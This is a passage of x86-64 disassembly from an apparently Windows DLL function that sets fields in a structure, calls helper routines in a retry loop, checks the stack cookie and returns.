cmove ecx, r13d
lea rdx, [rsp + 0x28]
mov byte [rbx + 0x1cd82], cl
xor eax, eax
movzx ecx, byte [rbx + 0x1cd82]
mov byte [rbx + 0x1cd85], 0
mov word [rbx + 0x1cd83], ax
call fcn.180003430
test eax, eax
je 0x18000364f
movzx eax, word [rsp + 0x20]
mov word [rbx + 0x1cd83], ax
movzx eax, byte [rsp + 0x24]
mov byte [rbx + 0x1cd85], al
mov rcx, rbx
mov word [rbx + 0x18], r15w
mov dword [rbx + 0x5e], 0x200
mov byte [rbx + 0x1cd86], dil
call fcn.180003e00
test eax, eax
jne 0x18000368a
nop
mov edx, ebp
mov rcx, rbx
call fcn.1800039d0
test eax, eax
jne 0x18000368a
mov rcx, rbx
call fcn.180003e00
test eax, eax
jne 0x180003670
inc esi
cmp esi, 0x1f
jl 0x180003590
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.180007250
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret